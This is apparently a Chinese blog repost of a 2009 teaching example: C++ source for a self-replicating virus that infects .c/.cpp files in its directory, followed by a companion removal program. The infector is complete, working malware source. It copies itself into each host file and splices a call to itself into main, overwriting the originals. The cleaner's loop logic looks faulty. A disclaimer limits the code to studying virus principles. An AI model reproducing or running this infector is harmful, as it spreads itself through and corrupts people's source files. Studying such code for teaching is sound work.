小钢蛋  
//START
#include <windows.h>
#include <fstream>
#include <string>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
//保留所有权利,东北大学秦皇岛分校2009年6月1日
void vir()
{
string CurFileName = __FILE__;//绝对路径
string obCurFileName          //相对路径
   = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);      
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代码
string FileCode[500]; //宿主代码

int CodeLen = 0;//病毒代码长度
int FileLen = 0;//宿主代码长度

//病毒函数调用应当插在"main("后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
int InsertLoc = 0;

//提取待传播的当前文件中的病毒代码
ifstream VirusFile(obCurFileName.c_str());
for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
{
   if(VirusCode[CodeLen] == "//END")
   {
    CodeLen++;
    break;
   }
}
VirusFile.close();
//依次感染宿主文件
while (true)
{
   //不能感染当前.cpp文件和已感染的文件
   if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
   {
    cout<<FindFileData.cFileName<<":是感染源!/n";
   }
   else//感染其它文件
   {
    //加载宿主文件
    ifstream ibe(FindFileData.cFileName);
    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    {
     if (FileCode[FileLen].find("main") != -1)
     {
      InsertLoc = FileLen;
     }
    }
    ibe.close();
    if(FileCode[0] == "//START")//该文件已被感染
    {
     cout<<FindFileData.cFileName<<":已携带了病毒!/n";
    }
    else if (FileLen > 500)
    {
     cout<<FindFileData.cFileName<<":文件太大了!/n";
    }
    else
    {
     //打开宿主文件
     ofstream be(FindFileData.cFileName);
     //插入病毒代码
     for(int i = 0;i < CodeLen;i++)
     {
      be<<VirusCode[i]<<endl;
     }
     //病毒函数调用位置前文本插入
     for(int i = 0;i < InsertLoc;i++)
     {
      be<<FileCode[i]<<endl;
     }
     //插入函数调用vir()
     for(int i = InsertLoc;i < FileLen;i++)
     {
      int j = FileCode[i].find('{');
      if(j != -1)
      {
       FileCode[i].insert(j + 1,"/nvir();");
       break;
      }
     }
     //病毒函数调用位置后插入剩余文本
     for(int i = InsertLoc;i < FileLen;i++)
     {
      be<<FileCode[i]<<endl;
     }
     be.close();
     cout<<FindFileData.cFileName<<":感染成功!/n";
    }
   }
   if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
//END
int main()
{
vir();
return 0;
}
杀毒程序:
#include <windows.h>
#include <fstream>
#include <string>
#include <vector>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
//保留所有权利,东北大学秦皇岛分校2009年6月1日
void revir()
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);

string FileCode[500];

//病毒函数调用应当插在"main"后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
//依次清除宿主文件 
while (true)
{
   //加载文件
   int FileLen = 0; //宿主代码长度
   int MainLoc = 0; //主函数位置
  
   ifstream ibe(FindFileData.cFileName);
   getline(ibe,FileCode[0]);
  
   if(FileCode[0] == "//START")//当前文件被感染过
   {
    //病毒代码要过虑掉
    for(FileLen = 0;getline(ibe,FileCode[0]);)
    {
     if(FileCode[FileLen] == "//END")
     {
      break;
     }
    }
    //宿主未感染前的代码
    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    {
     if(FileCode[FileLen].find("main") != -1)
     {
      MainLoc = FileLen;
     }
    }
   
    //清除主文件中的函数调用
    for (int i = MainLoc;i < FileLen;i++)
    {
     if(FileCode[i].find('{') != -1)
     {
      FileCode[i + 1] = "";
      break;
     }
    }
    ibe.close();
   
    ofstream be(FindFileData.cFileName);
    for(int i = 0;i < FileLen;i++)
    {
     be<<FileCode[i]<<endl;
    }
    be.close();
    cout<<FindFileData.cFileName<<":病毒清除成功/n";
   }
   cout<<FindFileData.cFileName<<":没有被感染!/n";
   if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
int main()
{
revir();
return 0;
}
posted on 2022-03-30 19:16  小钢蛋  阅读(1261)  评论(0编辑  收藏  举报